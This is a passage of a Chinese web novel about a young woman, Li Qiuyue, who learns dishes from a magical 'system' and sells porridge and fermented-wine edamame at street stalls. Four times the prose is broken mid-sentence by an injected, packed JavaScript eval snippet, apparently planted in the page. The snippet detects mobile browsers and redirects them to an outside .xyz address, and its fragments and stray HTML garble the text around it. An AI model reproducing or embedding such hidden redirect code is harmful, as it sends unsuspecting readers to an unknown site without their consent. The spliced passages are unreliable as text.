而这最后的三兄弟也没有停留多久,在五分钟后就被一位丽人收入囊中,黎秋月收了东西也不急着走,跑到依旧喧嚣的摊子边买了个烤红薯。 六块,还没她拳头大。 这也就算了,关键是它还不甜! 黎秋月咬了一口就要回去算账,然后发现刚刚还在的烤红薯摊主被围满了人。 ? 出于吃瓜的本能,黎秋月努力挤了进去,然后看到一位小姐姐抱胸面无表情的看着烤红薯摊主,而烤红薯摊主在地上惨叫,机器滚落在一边。 “活该,就知道偷工减料缺斤少两,小吃街的名声都被他搞臭了!” 有人在旁边说话,黎秋月转头一看,发现是烤红薯隔壁的鸡蛋灌饼。 “大哥,怎么回事,我刚来。” 鸡蛋灌饼是个热心肠,黎秋月没费多大功夫就弄明白了事情经过。 烤红薯是个惯犯,三两的重量敢叫一斤的价钱,关键是他会看人下菜碟,壮实的找过来就麻溜的说自己看错,要是女人小孩之类的弱势群体,别说赔偿,好多时候还要倒打一耙……结果这次踢到铁板了。 人家姑娘看着高高瘦瘦,其实脱了外套一身腱子肉,一拳砸掉他两颗牙,烤红薯回击的时候没注意脚下,烤红薯的机器直接冲着他砸了过来,刚好怼到腿上。 “别以为你看着惨就能不赔偿了。” 小姐姐非常给力,压着烤红薯赔了自己的钱不说,还顺便帮现场被坑过的人都要了一笔账,黎秋月也在其中,最后当场打了举报电话,有人担心小姐姐做的太绝会被烤红薯找麻烦,小姐姐只是笑了笑。 “我是双向,今天刚从医院拿的药。” 黎秋月倒吸一口凉气。 28. 红薯牛奶粥 秋高气爽,正是吃大闸蟹的好时候。 “你就想着钻空子。” 师父没好气的敲敲黎秋月的脑袋,黎秋月低头不敢吭声。 她是真的不会辨别螃蟹的公母啊! 半小时后。 “我要这个,这个,还有这个,一共二十四,已经扫码了。” 学成归来的黎秋月蹲在路边挑挑拣拣,精准的将大堆公蟹中的母蟹收入囊中,然后乘老板跟其他客人说话的时候,飞快的拿着袋子跑路。 她住在江南水乡,从家到鄱阳湖直线距离不到50公里,所以每年十月都有人在路边摆摊卖螃蟹,简单的用网兜,复杂些的也就是拿个泡沫箱,价钱按只来算,今年是八块。 但想从小摊上挑到好螃蟹,经验和运气总得占一样,摊主基本只会落井下石,去年刘奶奶家在摊上自己挑的八只螃蟹,雌雄比例非常平均,今年让摊主帮着挑,结果连一只母的都没有! 至于为什么一定要买路边的螃蟹……相同大小的螃蟹,在网上普遍的价格是三十上下。 *** 新的摊位,新的开始。 “我自己来就好。” 黎秋月冲着摊主笑笑,试图给螃蟹翻面的动作非常生涩,一看就知道是个新手。 “行,挑好了直接扫码。” 摊主没太在意的应了一声,转头招呼起一对情侣,没注意黎秋月不听话的手指突然灵活起来,抓了螃蟹往袋子里一丢,十秒内完成了付款上车走人的一系列流程。 “一,二,三……够了。” 黎秋月算算自己的螃蟹数量,果断背包回家。 螃蟹往水槽里一倒,也不急着做菜,而是抓了三只最肥美的出来清洗干净,直接上锅开蒸。 不过一刻钟的功夫,螃蟹的壳已经由青转红,碗底也多了一小片带着颜色的水,黎秋月捡了一只出来大快朵颐,剩下两只先放在锅中保温。 都说螃蟹性寒,蒸的时候要放姜片,吃的时候要配江米汁和黄酒,但黎秋月就喜欢这一口原汁原味,总觉得蘸料后的蟹肉美味程度反倒会下降。 满当当的蟹黄,白生生的蟹肉,黎秋月的脑子被一个鲜字占满,直到三只螃蟹吃完,才发现手上已经被扎出好几个血点。 黎秋月:…… 突然有点理解国外电视剧中“好吃到人死在旁边都发现不了”的惊悚形容了。 浅浅满足了一下自己的口腹之欲,黎秋月终于重新看向水槽中试图逃生的大闸蟹,准备熬蟹粉。 蟹粉也叫蟹黄油,跟秃黄油不是一个概念,秃其实是当地的方言,是只有的意思,秃黄油是只用蟹黄做出来的,更金贵;蟹黄油则是蟹肉和蟹黄一起做出来的,成本相对低一些。 蟹粉不难做,难做的是刷蟹蒸蟹拆蟹一条龙,黎秋月刷第四只蟹的时候还精力十足,拆到第二十四只的时候已经连偷吃的劲都提不起来了,好在最难的重复性流水线已经过去,只差下锅的最后一步。 没味道的大豆油哐哐往锅里倒,这一步不能吝啬,油量要盖过蟹黄蟹肉。 放料的时候也有讲究,先蟹黄后蟹肉,翻炒以后放姜泥去腥,黎秋月在这一步用的是大块姜,回头方便捞出来,还撒了一点白胡椒粉。 最后用中小火熬煮一刻钟左右,撇掉上面的浮沫就能关火装罐,黎秋月在熬煮的时候放了一小勺猪油,这是她家不知道从哪里学来的小技巧,最后的一点猪油就像是画龙点睛,蟹粉的味道会直接升华。 最后的成品出来的时候,整个厨房都飘着香味,黎秋月咽了咽口水,用无水无油的勺子舀了些出来尝尝,顿时惊成了一根木头—— 鲜! 极致的鲜! 跟单独的蟹黄或是蟹肉不同,蟹粉的鲜像尖锐的刀子,直接顺着口腔劈开了脑袋,硬生生在神经上刻下独属于它的痕迹。 “咕噜噜——” 基本没空过的肚子发出抗议,好半天才回神的黎秋月丁点没耽搁,直觉用刚出锅的蟹粉炒了饭,没什么多余的调料,一口下去却忍不住发出喟叹,然后就是暴风吸入。 吃饱喝足已经是下午三点,黎秋月抓紧时间眯了一会儿,六点匆匆出门采购食材,今天的螃蟹计划将她的日常全都打乱了,但如果回到早上,她依旧会做出相同的选择。 毕竟谁能拒绝满蟹黄的大闸蟹呢? 这个时间点也不用去批发市场,碰上堵车黎秋月哭都来不及,她直接去了最近的菜市场,买了猪肉和青菜后就没有看上的食材了,最后还是在路边摊选了些红薯。 可能是运气到了,黎秋月经过超市门口的时候碰上临期牛奶大促销,看到是自己喜欢的牌子后果断拎回去两箱,顺手解决了烦恼的食材问题。 红薯粥有点单调,红薯牛奶粥就不会了,虽然这个搭配有点少见,但她相信师父的能力! 晚上十二点零五。 “牛奶红薯粥?用大米熬的?” 牛夏柳看看摊子又看看黎秋月,眼睛里全是疑惑。 牛夏柳听过牛奶粥,红薯粥,牛奶红薯燕麦粥,甚至见过牛奶红薯的甜品,但还是头一次见识到这两种食材混合还配大米的搭配。 “对,味道不错。” 黎秋月说这话的时候下意识摸了摸自己的脑壳,总觉得被老师敲的地方还在隐隐作痛。 老师会做,不妨碍老师听到粥名的时候生气啊! “……给我来一杯。” 迟疑了足足三分钟,牛夏柳终于下定决心,而在黎秋月掀开砂锅的那一刻,她就知道自己的选择没错。 浓重的奶香比前两天的白粥和咸粥都要声势浩大,它几乎是直接喷出来的,顺着风一路见人就扑,牛夏柳甚至听到有路边摊摊主在问是哪里飘来的香味。 连那么远的人都是这种反应,更别说几乎是直面香气的牛夏柳——她头一次知道自己竟然醉奶! “好甜啊。” 牛夏柳喝了一口粥,情不自禁的感叹。 红薯牛奶粥的颜色跟南瓜粥很相似,但二者的味道可以说是毫不相关。 粥水中带着醇厚的奶香, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14090894|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切丁的红薯被轻易的抿开,舌尖上便能尝到一点多出来的甜,每一口能尝到的红薯丁的数量和大小都有所区别,也带来虽相似却千变万化的惊喜口感。 加单加单! 可能是甜味令人放松,牛夏柳这次没急着走,而是跟黎秋月说起八卦。 “……那个烤红薯摊主真的惹到人了……早知道我就不走那么快了……” 黎秋月越听越熟悉,问了下事件和地点,彻底确定就是昨天发生的烤红薯案件后,忍不住打断了牛夏柳的话。 “我昨天亲眼看到了。” 牛夏柳吃的明显海瓜,连水瓜都算不上,除了主要人物没有一个是对的,哪里比的上当时就在瓜田的自己! “真的?!” 牛夏柳睁大了眼睛,怎么都没想到还有这么巧的事。 “对啊,我昨天还买了烤红薯,当场就得到赔偿了。” 黎秋月得意的扬扬手机,跟牛夏柳说了前因后果,社畜才带着身心的双重满足走了,并打算明天将红薯瓜跟同事分享,做办公室里最亮的崽儿! …… 今天的生意明显火爆了些,不少人来了以后直接点名要喝青菜瘦肉粥,保温桶里的粥第一次比砂锅粥先卖完,黎秋月不知道发生了什么,不过无所谓,尽早下班才是最重要的事。 牛夏柳带着瘪了些的电子钱包走在回家的路上,突然想起来自己忘记跟摊主说她在公司被动宣传了一波青菜瘦肉粥。 她的同事执行力都蛮强的,希望摊主不要被突然的客流量吓到。 摊主没被吓到,十二点半就收摊的黎秋月衷心希望这种好事多来一点,她现在真的真的真的熬不了夜。 即使提前收摊,黎秋月到家的时候也已经两点了,躺在床上眨眼就睡了过去,醒过来的时候再一看时间,好家伙,又过十二点了。 “加油,今天是最后一天,熬过去就好了。” 黎秋月哄了自己半天,终于从床上爬起来,出门买菜的时候也懒洋洋的,最后拎回家的除了牛肉和排骨,竟然还有一小条苦瓜。 “我竟然真的买了?!” 黎秋月不敢置信的看着那根长条的绿疙瘩,虽然她觉得自己这几天的日子过的比苦瓜还苦,也不意味着还想要苦上加苦啊! 买都买了,黎秋月也做不出好好的东西直接丢了的事情,只能皱巴着脸思索菜谱,最后倒还真摸出一个合适的。 锦荔枝炆排骨! 这菜以前家里做过,锦荔枝是苦瓜的别称,当年黎秋月就是被这个名字骗的吃下了第一口苦瓜。 切好的排骨放到碎了个角的陶煲里,加葱姜料酒后把边缘密封,然后不加一滴水的小火慢炖。 苦瓜洗净去籽斜切,加盐腌出碧绿的液体,等到排骨炆到肉汁收干而不枯的时候将葱姜夹出,把苦瓜液倒进去重新密封加热一刻钟,最后将苦瓜片一起倒进去转大火焖完就能出锅。 这么做出来的排骨有种很特殊的香味,黎秋月就着排骨吃了一碗饭。 苦瓜也能入口。 29. 牛肉滑蛋粥 最后一天了,作为道别礼物,黎秋月准备给客人们整点不一样的。 比如搞个生滚粥。 “还有最后两份,你要吗?” 黎秋月打了个哈欠,看着姗姗来迟的牛夏柳。 以前这位都是第一个到的,今天难道又加班了? “滑蛋牛肉……老板你的花样越来越多了。” 牛夏柳为自己的钱包默哀,扫码的时候却一点不犹豫。 砂锅里熬好的白米粥倒进小锅,提前腌制好的牛肉一片片加进去,转眼变了颜色,再用筷子一边搅拌一边将打好的蛋液倒进去,就可以将粥倒进杯子里了。 这回的粥比之前的都要烫口,牛夏柳便揭开盖子多等了一会儿,钟桐下车的时候,牛夏柳正跟黎秋月吐槽自己的领导,黎秋月也顺便知道今天牛夏柳晚来的原因——她被领导抓了典型! “他从中午十二点睡到晚上八点,然后指责我们工作不够努力,我都想不通他怎么好意思说这种话!” 牛夏柳本来只是想随便说说,结果越说越生气,硬生生将自己给弄红温了。 “还好有老板你,不然我都不知道以后该怎么过!” 牛夏柳周一的时候都在考虑辞职了,虽然这边工资发放准时五险一金全交,但上面有个不做人的领导足够覆盖一切优点。 有每天几杯黎秋月这边的粥喝着,牛夏柳觉得自己还能再撑一撑! 黎秋月对着牛夏柳亮闪闪的眼神,开始犹豫要不要跟牛夏柳道别了,她总觉得自己会被扒拉上! “又上新品了?” 钟桐这话说的有些酸溜溜的,做土豆泥的时候就两个口味,现在卖粥了居然每天都推出新品,是土豆泥不配吗? “嗯,最后一杯。” 黎秋月这话一出,钟桐也顾不上吃醋了,赶紧扫了码,又注意到旁边被打包好的五杯粥。 “牛奶红薯粥,卖完就收摊。” 其实没卖完也收摊,最后一天了,黎秋月不想接着熬夜。 “我都要了。” “我要三杯。” 两个声音同时响起,第一个是钟桐的,第二个是牛夏柳的,两人对视一眼又同时看向黎秋月,黎秋月只能摇头。 她每天带着粥就这么多,再看也变不出来。 那就只能各凭本事了。 钟桐和牛夏柳再次对视的时候,黎秋月好像在她们中间看到了无形的电火花。 “你们先把东西买了,分好了互相转账行不行?” 辩论很精彩,但抵不过黎秋月想下班的心,她瞅准一个间隙插了话,希望不管哪位先把账结了,让她从相关人士变成无关人士。 “绿信到账25元~” 打款的声音实在动听,黎秋月飞快的将五杯粥水放到地上,凳子往三轮上一扔,就拧着把手直接跑路,临走前还专门留下一句道别。 “两位再见。” 钟桐喝了口滑蛋牛肉粥,总觉得这句话有点熟悉。 “不好!” 钟桐猛的睁大了眼睛,再抬头一看,大路上的四轮车呼啸而过,三轮车早就不见踪迹。 “怎么了?” 牛夏柳有些疑惑的看了眼钟桐,又喝了口粥,红肉的鲜配着蛋花的嫩,让她根本停不下来。 牛夏柳觉得她这辈子最正确的决定,就是在第一次到黎秋月摊子的时候没有嫌贵,而是咬着牙下了单。 “你刚刚听到了对吧,摊主刚刚是跟我们说了‘再见’对吧?” 钟桐抱着最后一丝希望看向牛夏柳,想要得到一个否定的答案。 “对啊,这还是摊主头一次道别呢。” 牛夏柳依旧没反应过来,甚至觉得这是她跟黎秋月关系拉进的表现,而钟桐已经脸色苍白,看了看地上的几杯粥,思考自己拿了就跑后被追上的可能性。 “……有什么问题吗?” 牛夏柳后知后觉的发现了不对,有些紧张的喝了口粥。 “没什么问题。” 钟桐努力挤出一个僵硬的微笑。 “就是明天摊主不会来了。” …… 黎秋月并不知道她走了以后的腥风血雨,终于结束了熬夜生涯,她觉得自己应该做一桌子菜以示庆祝,而事实是她回家只喝了两口粥,刚把干货泡上,就啪叽一下倒在床上睡着了,再醒来的时候已是阳光明媚。 不就是宵夜爆改午饭吗,问题不大! 黎秋月随便填了填肚子,就骑着小电驴冲向了菜市场,进去的时候两手空空,出来的时候手上已经提满了袋子。 进屋关门,抽刀开火,一会儿的功夫,厨房就叮叮当当的热闹起来。 最费时的牛肉清汤第一个开始,新鲜的牛腩清洗干净,切成大块丢进砂锅,然后就是洋葱西芹白胡椒,香叶胡萝卜百里香,用小火慢炖两个小时,然后滤掉所有的汤渣,才能得一份香飘全楼的牛肉清汤。 汤在砂锅中炖着,黎秋月在另一口灶上忙着快手菜。 刚买来的豆腐切成大块,撒上细盐析水沥干,土鸡蛋磕了加两滴酒调味,锅里多油八分热倒鸡蛋,鸡蛋液凝固后倒豆腐翻炒,关键要将豆腐用铲子在锅中切碎,然后一大把葱花撒下去,才是正宗的鸡刨豆腐。 有厨师做这道菜的时候喜欢加蒸好的火腿末,说很适合下粥,黎秋月觉得有点奢华,主要是她暂时找不到上好的火腿。 少少的几片精瘦里脊肉加盐料酒上薄浆,热锅冷油滑炒到变色出锅;昨晚泡的木耳去根,撕成麻将大小;今天买来的荸荠削皮切片,锅中油九分热,木耳和荸荠一起进锅翻炒。[1] 荸荠炒到微微微透明,把捞出来的里脊肉跟着葱花回锅,翻炒片刻重新出锅,就是一道带着肉鲜的荸荠木耳炒肉片,色彩明快,看着便让人觉得舒心。 这菜吃起来是带着肉鲜的爽口,尝起来荸荠甜的似有若无,木耳却爽脆的很,常用来生吃的荸荠下了油锅,跟西红柿一样完成了水果到蔬菜的无缝切换,却显出另一种奇妙的风味。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14098688|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “下次试试河虾。” 黎秋月捡着菜里的每样食材尝尝,满意的点点头,却又觉得有些遗憾。 若是用河虾换了肉片,肯定又是另一种景色——青虾去了头壳虾线,只留下虾身和一节艳红的尾巴,对半剖开下油锅会收缩成一朵花样,白荸荠,黑木耳,红虾尾,中间青葱点缀,肯定是一片姹紫嫣红。 只是今天已经有了道蒜蓉开背虾,也不好让食材重复,只能下次尝试。 其实肉片的味道不比河虾的差,只是人总会下意识的美化自己没有尝试过的另一条路,当没有机会重新选择的时候更是会加上重重滤镜,就像西方的《未选择的路》,或是东方的白月光朱砂痣。 荸荠还有一些,被黎秋月切了细丝放到冰箱,准备回头做地梨糕的时候再用,现在她忙着给香菇打十字花刀。 今天到菜市场的时候,刚好碰到了新鲜的冬笋,黎秋月便顺势改了菜谱,准备做个炒双冬尝尝。 炒双冬,顾名思义,是冬笋炒冬菇,冬菇是香菇的别称。 冬笋水煮去掉涩味,在油锅中小火煸透后把香菇倒进去煸炒,等香菇吃油飘香,再浇一碗泡发香菇的水进去,加入作料勾薄芡,就能坐等收汁出锅,装盘后才能滴两滴芝麻油提香。 这菜吃起来清清爽爽,是黎秋月预备刮油的。 双冬出盘洗青虾,开背虾的做法多样,重点在于只去虾线,黎秋月在这方面不算熟练,用菜刀给自己划了道口子以后果断更换工具,先用剪刀剪开虾壳,再用小水果刀开背取虾线。 慢是慢了点,但不受伤才是最重要的。 蒜蓉开背虾要两个灶口,黎秋月这边只有一个,老式电饭煲这个时候再次发挥作用,半壶开水倒进去,指着保温的小凸起往下一按,刚平静下来的水便翻滚起来。 开片的虾放到电饭煲蒸格上的不锈钢盆里,小半锅加了盐的蒜蓉已经微微变色,黎秋月直接双手抄锅,将滚烫的蒜蓉油往不锈钢盆里一淋,噼里啪啦的声音刚刚响起,就被闷在了锅盖里。 带着蒜蓉的铁锅放水槽,黎秋月双手各抓一块抹布,飞快的将电饭煲内胆连上面的蒸格转移到灶火上,大半分钟后立刻关火,秒针转了一圈后打开锅盖连蒸格一起上桌。 夹起一只火红的虾入口,虾壳酥脆中带着蒜香,虾肉软嫩又不失嚼劲,平时感官一般的蒜末吃起来满口的鲜,不枉她废了这么多心思。 蒜蓉开背虾,讲究的就是油锅蒸锅的无缝衔接,蒜香油沸必须碰上锅中水开,否则还不如蒸虾。 热虾出锅,牛腩已经被炖的酥而不烂,被黎秋月捞了些出来炒了个辣椒,豆蔻一撒酱油一放,味道不差! 刷干净的锅放水,然后把连皮带肉的干净羊腿块倒进去,加葱结生姜料酒酱油,小火慢炖到八分熟,才能开始下一步。 炖羊肉跟牛肉清汤一样都是个功夫活,黎秋月也没在厨房守着,而是先去吃虾了——从蒜蓉虾出锅到现在不过五分钟,没凉到起腥,也不怕烫着舌头。 30. 槽毛豆 冰糖羊肉很好吃,清汤牛肉也鲜到让人咂舌,就是结束以后的收拾工作有点折腾人,随手丢了垃圾桶的厨余还好,碗碟的清洗才真的是一个大工程。 黎秋月已经在思考要不要买洗碗机了。 舒舒服服的过了两天小日子,黎秋月还抽空骑着小电驴去看了阿公阿婆(外公外婆),两位老人表现的有些冷淡,但临走的时候也没忘给黎秋月塞一大袋子自家种的小青菜。 黎秋月没在两位老人这边多留,只是在日程表里记下除非碰到不可抗力,不然两周要来看一次,爷爷奶奶那边的探望频率也是一样,定期去看长辈以前是父母做的,现在她得顶上。 看看四位老人过的好不好,也让四老知道她在努力过日子。 骑着小电炉回家,看到路上有买年糕的,黎秋月随手买了两块,回去以后又犯懒,索性直接丢到剩下的牛肉清汤里,嚼着又软又鲜,一顿饭就这么糊弄过去。 黎秋月的觉还没补满,转眼又到了周日,她看着突然出现的菜谱叹了口气,思索这周要做什么吃食。 要不搞点卤味?卖不出去还能自己吃! 定下制作方法,接下来就是食材的选择,黎秋月将所有的卤菜都提出来,手一挥一扬,只有她能看到的众多菜名就将她环绕起来,形成了流动的文字圈。 接下来,就是蒙眼捉妃的小游戏了。 “槽毛豆?” 黎秋月晕头晕脑的解开眼睛上的丝巾,有些疑惑的对被选中的幸运儿眨眨眼。 不应该是卤毛豆吗? 进了学习空间,听了师父的从头讲解后,黎秋月才知道卤水也有红白之分,红卤就是寻常街边的深色卤味,熬制的时候夹了酱油和白糖;白卤则不加上色的调料,卤出来的食物就是它们本身的颜色。 而槽毛豆,用的就是白卤中的槽卤。[1] 毛豆的准备工作并不复杂,无非是选了好毛豆,然后将荚洗净剪去两头,加盐水和茴香煮熟。 非要说什么技巧,那就是豆荚要冷水下锅,大火煮开后立刻转中火,放荚后煮熟前不能揭开盖子查看,煮完以后的第一时间要滤去汤汁,连锅浸冷水凉透了才能入槽卤。 这些细节虽然琐碎,但黎秋月之前在学习空间里也没少注意,对她来说真正的难点其实是卤水的制作。 成品的槽卤在外面很容易买到,但那些味道……工业化时代让一切都方便了起来,但也不可避免的丢失了一些东西。 别说两者的味道天差地别了,就算真的有能通过考验的槽卤,黎秋月又怎么能从一堆商品中精准的挑出来? 或许专卖槽卤的小摊贩的有这个时间和精力,但黎秋月没打算以此为生,选择它也只是为了完成任务,综上所述,自己制作卤水依旧成了最优选。 就是有点费黎秋月。 先用鸡架猪骨吊出来一份清澈高汤,然后葱姜茴香等十多种调料一起往里丢,还要放冰糖喝桂花,有些调料黎秋月甚至都不认识,还得先听师父讲解。 最让黎秋月绝望的是,这些材料都没有具体的比例,要根据食材的品质进行适当的增减,煮出来的卤汁才能甘鲜清冽,不然整体的味道立刻下降。 而卤汁煮完还不是结束,黎秋月还得学着将卤汁跟静置放了一天的,打成糊状的酒和酒槽进行调兑,然后用细纱布过滤,那一滴滴落下的带着香气的金黄色液体,才是能用的槽卤。 “酒和酒槽最好是一批出来的,实在不行也要是相同的种类,最合适的是花雕酒,跟它一起的就只能是花雕酒槽,不然味道就不正了……” 老师很有责任心,说的很详细,但黎秋月听着只想哭。 分不清,她真的分不清啊—— “我成啦,我成了哈哈哈哈——” 被记忆法折腾的半死不活的黎秋月尝了口卤汁,突然激动的高叫出声,旁边熬着卤汤的师父吓了一跳,情不自禁的的往旁边躲了躲。 她这徒弟是不是被折腾疯了?! “噫!好!我成了!” 师父看着拿着勺子上蹿下跳的黎秋月,确定这徒弟是真疯了。 “我要参加考核。” 四肢抽搐五官乱飞鬼哭狼嚎了半晌,黎秋月终于从兴奋中回神,只是脸上刚刚过分活跃的肌肉一时半会儿平静不下来,考核的时候表情还有些不正常。 “考核通过。” 黎秋月带着合格的结果出了学习空间,躲在角落的师父悄悄松了口气,不知道是不是她的错觉,师父总觉得学习空间送黎秋月出去的时候像是在送瘟神。 学到疯癫的黎秋月出来以后并没有第一时间做卤槽,而是翻找出冰箱里洗干净,被摊主帮忙揭掉鱼头皮的小黄鱼,准备做个黄鱼面回回神。 煎锅倒油,小黄鱼煎到两面脱骨,黎秋月本想将鱼肉完整的取下来,奈何手实在不听话,好好的小金条弄成了散碎的银块,不过腹内的大刺成功取了下来,味道也不受影响,黎秋月也就没停手。 姜末在猪油里煸透后捞出,倒入切碎的雪里红小火炒透,然后把雪里红盖在鱼肉上,上蒸格五分钟。 重起油锅放葱姜,鱼骨头也丢进去炸酥脆,然后一瓢水下去熬成奶白的汤,撇掉面上浮油,锅中汤渣,只留汤水等面来。 面也有讲究,现在做是来不及了,黎秋月手艺也不行,她翻出好几种面条,最后选定了一款比韭菜叶子要细,又比银丝粗的面条,冲着沸腾的开水锅就倒了进去,滚了两回才把面捞到鱼汤里。 进了鱼汤的面再煮煮熟,连汤倒进大碗,把雪里红连着鱼肉一起铺上去,黄鱼面才算是制作成功。 夹起一筷子面条吹吹,入口像是固体的鱼汤融化在唇舌;夹一筷子雪里红,肉香中和了原本的苦味,只留下爽脆的口感;鱼肉一碰就碎了,但仅仅是筷子尖沾上的一小点,也足以让人回味无穷。 一碗面下肚,黎秋月还有些意犹未尽,但冰箱里的小黄鱼已经用完,黎秋月也就没继续开火,而是拿了份地梨糕磨牙,顺便定下摆摊的时间和地点。 【正在抽取……】 【任务五:请宿主在下周每个工作日的下午三点,在扶河桥的第三棵树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14111744|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下售卖槽食。】 “总算是给了个阳间的时间。” 黎秋月松了口气,要是这回系统还给她来个后半夜的时间点,她真的敢给贺兰姐包圆,只留一份拎在手上,打个车到任务地点等着,过了时间就两个手机互相扫码,然后回家! 身子都跟个筛子一样,谁愿意一宿一宿的熬夜啊! 虽然下午三点对吃食摊来说有点两不沾,但无所谓,有客就赚钱,没客就自己有美食,她怎么都不吃亏。 “不过抚河桥又是什么地方?” 黎秋月盘算完时间,终于注意到了摆摊地点,这个地名听着有点陌生,但打开地图一查她就乐了。 就是家后面环河道圈的最远处,直线距离2.8公里,导航距离3.6公里。 系统这回可真够大方的! 一下子轻松了的黎秋月反倒有了些奋斗的心思,看看时间觉得还没到睡觉的点,她便试探性的发了个消息给刘奶奶。 【十五的月亮:刘奶奶,你那边有愿意做小时工的吗?】 洗豆荚和剪两端都没什么技术含量,只是非常琐碎,黎秋月准备把这部分工作承包出去。 刘奶奶那边回的很快,两人都不是客套的性子,三言两语便将小时工的事情定了下来。 两个小时工从九点做到十二点,时薪20。 第二天黎秋月起了个大早,骑着三轮车就去了批发市场,然后发现记忆力挺便宜的毛豆早就涨价了。 “五块钱一斤?!”[2] 黎秋月看着老板,很想知道他的心是不是黑的。 “那边有便宜的。” 老板习以为常的指指旁边,黎秋月沉默了。 旁边的的确便宜,但那个质量她看不上啊! 最后黎秋月还是选了最贵的款,在挑选调料的时候反复告诉自己要卖个高价。 花雕酒怎么能卖这么贵! 说好的一分钱一分货,为什么变成了十分钱一分货啊! “买点其他的花雕酒也是一样的,还能少付点钱。” 卖酒的老板是个六十多岁的老头,长着个显眼的酒糟鼻,兴许是觉得黎秋月满脸心疼的付钱模样有趣,笑眯眯的给了句指点。 “那不行。” 黎秋月想都没想就拒绝了。 “那些酒喝着还凑合,用在菜里味道就要差上一截。” 其实黎秋月选的这款也不是特别好,但已经是矮子里面挑高个了,而且她也没闻到更合适的花雕酒,不然就算再贵,她都得买点给自己做卤。 摆摊要控制成本,自家吃只要味道好就行。 “用在菜里?什么菜?” 酒糟鼻老头的兴趣更浓,他这辈子没什么爱好,排行第一的是美酒,第二的就是美食。 别看他这么大一个店在这摆着,其实真正的好酒都被他自己藏了起来。 “槽毛豆,下酒的。” 黎秋月答的顺口,却没发现老头的眼睛跟灯泡一样亮了起来。 下酒的美食,可太合他的胃口了! 31. 上班,晚上补足 好消息,黎秋月买到了一斤30年的花雕,品质很好,有价无市。 坏消息,黎秋月背了毛豆债。 “小姑娘,那可就说好了,下午一定要把槽毛豆送过来!” 看着笑眯眯把她送走的魏老头,黎秋月觉得更糟心了。 花雕真是个神奇的东西,十年以下的20左右就能搞定,十年就涨到了100一斤,20年就敢卖两百,三十年五百,五十年直接飞到七八千,还是相对便宜的网购价! 而这还不是结束,上好的花雕自然要配上好材料熬出来的卤水,单拎出来只是每样贵了一些,但加起来成本就多了。 黎秋月算算存款,难得起了主动拉客的心思,不过现在钱还够用,暂时不着急。 采购完毕,收工回家。 两个小时工大大减少了黎秋月的工作量,最没有技术含量的重复性工作被接手,黎秋月只需要专心做卤槽就好。 鸡架猪骨吊高汤,葱姜花椒依次下,在学习空间中无数遍的痛苦重复让黎秋月有了肌肉记忆,材料的增减堪称信手拈来。 时针缓缓移动了两个数字,厨房猛的爆发出一股奇香,两个小时工的动作渐渐慢下来,楼上楼下也传来小孩的哭喊,但这一切带了蓝牙耳机沉浸在自己世界的黎秋月都不知道。 她做了一大一小两锅卤槽,大的调兑用的是十年的花雕酒,是下午的摆摊产品,小的用的是三十年花雕,是只留给自己……也卖给那个老头的私人订制。 “豆子好了吗?” 卤槽配完,只差卤味,黎秋月带着一身槽香出了厨房,见毛豆荚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14121181|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经被剪好大半,便换了个空盆过来,然后煮豆荚过凉水泡豆荚……两个小时工动作很利落,11:45就剪掉了最后一个豆荚。 “我按3个小时给你们算。” 质量都是达标的,黎秋月也没根据时间扣钱,直接按照整数结算,两个小时工又惊又喜,走的时候顺便帮黎秋月带走了垃圾。 最后一锅冷豆荚进卤槽,黎秋月瞧瞧时间——刚好十二点! 所有需要人手工参与的环节都完成了,现在只等毛豆入味,也就是从现在到出门上班之间的所有时间,黎秋月都能自由活动。 这跟休息日又不一样,黎秋月很享受这种“偷来的”时光,她难得放下手机看了会儿实体书,手指翻页的时候,已经不再是骇人的鸡爪。 她把自己养的很好。 32. 第 32 章 五点半,黎秋月卖掉最后一包糟毛豆,车把手一转就冲向了菜市场,先采购了一波毛豆,才拎着小保温桶往魏老爷子这边走。 “尝尝?” 黎秋月也不等魏老爷子回话,就将盖子一拧,跟她身上相似却剧烈的多的香气瞬间炸开,魏老爷子被冲了个正着,顿时有些晕乎。 “好酒,不对,好食啊!” 